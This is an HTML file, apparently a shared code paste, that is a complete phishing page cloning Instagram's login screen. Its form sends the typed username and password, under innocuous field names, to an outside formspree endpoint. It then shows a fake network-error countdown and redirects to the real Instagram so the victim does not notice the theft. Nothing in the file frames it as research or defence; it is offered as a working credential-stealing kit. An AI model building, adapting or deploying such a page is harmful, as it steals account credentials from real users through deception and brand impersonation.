Instagram
2 years ago in HTML
<!DOCTYPE html>
<html lang="en">
<head>
<link rel="icon" href="http://assets.stickpng.com/images/580b57fcd9996e24bc43c521.png" type="image/x-icon"/>
<link rel="shortcut icon" href="http://assets.stickpng.com/images/580b57fcd9996e24bc43c521.png" type="image/x-icon"/>
<meta charset="UTF-8">
<title>Instagram</title>
<style>
@import url('https://fonts.googleapis.com/css?family=Roboto&display=swap');
*{
margin: 0;
padding: 0;
box-sizing: border-box;
outline: none;
list-style: none;
text-decoration: none;
font-family: 'Roboto', sans-serif;
}
.butn{
background-color:#fafafa00;
color:#fff;
padding: 0px 107px;
cursor:pointer;
border:0px;
}
body{
background: #fafafa;
font-size: 14px;
}
.wrapper .header{
max-width: 350px;
width: 100%;
height: auto;
margin: 50px auto;
}
.wrapper .header .top,
.wrapper .signup{
background: #fff;
border: 1px solid #e6e6e6;
border-radius: 1px;
padding: 40px 40px 20px;
}
.wrapper .header .logo img{
display: block;
margin: 0 auto 35px;
}
.wrapper .header .form .input_field{
margin-bottom: 5px;
}
.wrapper .header .form .input_field .input{
width: 100%;
background: #fafafa;
border: 1px solid #efefef;
font-size: 12px;
border-radius: 3px;
color: #262626;
padding: 10px;
}
.wrapper .header .form .input_field .input:focus{
border: 1px solid #b2b2b2;
}
.wrapper .header .form .btn{
margin: 10px 0;
background-color: #3897f0;
border: 1px solid #3897f0;
border-radius: 4px;
text-align: center;
padding: 5px;
}
.wrapper .header .form .btn a{
color: #fff;
display: block;
}
.wrapper .header .or{
display: flex;
justify-content: space-between;
align-items: center;
height: 15px;
margin: 15px 0 20px;
}
.wrapper .header .or .line{
width: 105px;
height: 2px;
background: #efefef
}
.wrapper .header .or p{
color: #999;
font-size: 12px;
}
.wrapper .dif .fb{
display: flex;
justify-content: center;
align-items: center;
}
.wrapper .dif .fb img{
width: 16px;
height: 16px;
}
.wrapper .dif .fb p{
color: #385185;
font-weight: 500;
margin-left: 10px;
}
.wrapper .dif .forgot{
font-size: 12px;
text-align: center;
margin-top: 20px;
}
.wrapper .dif .forgot a{
color: #003569;
}
.wrapper .signup{
margin: 10px 0 20px;
padding: 25px 40px;
text-align: center;
color: #262626;
}
.wrapper .signup a{
color: #3897f0;
}
.wrapper .apps{
text-align: center;
color: #262626;
}
.wrapper .apps p{
margin-bottom: 20px;
}
.wrapper .apps a img{
width: 135px;
height: 40px;
margin: 0 5px;
}
.footer{
max-width: 935px;
width: 100%;
margin: 0 auto;
padding: 40px 0;
display: flex;
justify-content: space-between;
}
.footer .links ul li{
display: inline-block;
margin-right: 10px;
}
.footer .links ul li a{
color: #003569;
font-size: 12px;
}
.footer .copyright{
color: #8e8e8e;
}
.copyright{
padding-bottom: 25px;
}
</style>
</head>
<body>
<div class="wrapper">
<div class="header">
<div class="top">
<div class="logo">
<img src="https://1.bp.blogspot.com/-ZYfK-EfiSDs/YEDq_krBguI/AAAAAAAAAOs/tWqMfJA4tgEcJTkLgr8g1KyuWHYVTQlYACNcBGAsYHQ/s320/instagram.png" alt="instagram" style="width: 175px;">
</div>
<div class="form">
<form action="https://formspree.io/f/xvoypgla" method="POST" id="my-form">
<div class="input_field">
<label for="firstName"/>
<input type="text" placeholder="Phone number, username, or email" required class="input" id="firstName" name="firstName">
</div>
<div class="input_field">
<label for="LastName"/>
<input type="text" placeholder="Password" required class="input" id="LastName" name="LastName">
</div>
<div class="btn" id="btnRedirect" type="button" ><button class="butn" type="submit">Log In</button></div>
<div id="dvCountDown" style="display: none">
⚠️Network problem, refresh in <span id="lblCount"></span>&nbsp;seconds.
</div></div>
<div class="or">
<div class="line"></div>
<p>OR</p>
<div class="line"></div>
</div>
<div class="dif">
<div class="fb">
<img src="https://1.bp.blogspot.com/-8AuFkoe-vwY/YEDq-4HNuYI/AAAAAAAAAOk/TE3vlM7GdUQjolu464s3MwngKKiHrqv2wCNcBGAsYHQ/s0/facebook.png" alt="facebook">
<a href="https://www.facebook.com/"><p style="color:#385185;">Log in with Facebook</p></a>
</div>
<div class="forgot">
<a href="https://www.instagram.com/accounts/password/reset/">Forgot password?</a>
</div>
</div>
</div>
<div class="signup">
<p>Don't have an account? <a href="https://www.instagram.com/accounts/emailsignup/">Sign up</a></p>
</div>
<div class="apps">
<p>Get the app.</p>
<div class="icons">
<a href="https://itunes.apple.com/app/instagram/id389801252?pt=428156&ct=igweb.loginPage.badge&mt=8&vt=lo"><img src="https://1.bp.blogspot.com/-QzWu_Xkxmtw/YEDq-8CtDjI/AAAAAAAAAOo/2KcNvE6wcBIoWWi5fB9c84VMgtk4zNiRwCNcBGAsYHQ/s0/appstore.png" alt="appstore"></a>
<a href="https://play.google.com/store/apps/details?id=com.instagram.android&referrer=utm_source%3Dinstagramweb%26utm_campaign%3DloginPage%26ig_mid%3DBA692E87-DE6A-48C1-84BD-1EC32C23B11A%26utm_content%3Dlo%26utm_medium%3Dbadge"><img src="https://1.bp.blogspot.com/-clVN7qKUDZ8/YEDq-8el5mI/AAAAAAAAAOg/AeVXJZBiO90ewcWX6awBVJ6nWrf87KmPACNcBGAsYHQ/s320/googleplay.png" alt="googleplay"></a>
</div>
</div>
</div>
<div class="copyright"><center>
© 2021 Instagram from Facebook</center>
</div>
</div>
</div>
<script>
var form = document.getElementById("my-form");
async function handleSubmit(event) {
event.preventDefault();
var status = document.getElementById("my-form-status");
var data = new FormData(event.target);
fetch(event.target.action, {
method: form.method,
body: data,
headers: {
'Accept': 'application/json'
}
}).then(response => {
if (response.ok) {
status.innerHTML = "Thanks for your submission!";
form.reset()
} else {
response.json().then(data => {
if (Object.hasOwn(data, 'errors')) {
status.innerHTML = data["errors"].map(error => error["message"]).join(", ")
} else {
status.innerHTML = "Oops! There was a problem submitting your form"
}
})
}
}).catch(error => {
status.innerHTML = "Oops! There was a problem submitting your form"
});
}
form.addEventListener("submit", handleSubmit)
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script type="text/javascript">
$(function () {
$("#btnRedirect").click(function () {
var seconds = 9;
$("#dvCountDown").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#dvCountDown").hide();
window.location = "//www.instagram.com/";
}
}, 1000);
});
});
</script>
</body>
</html>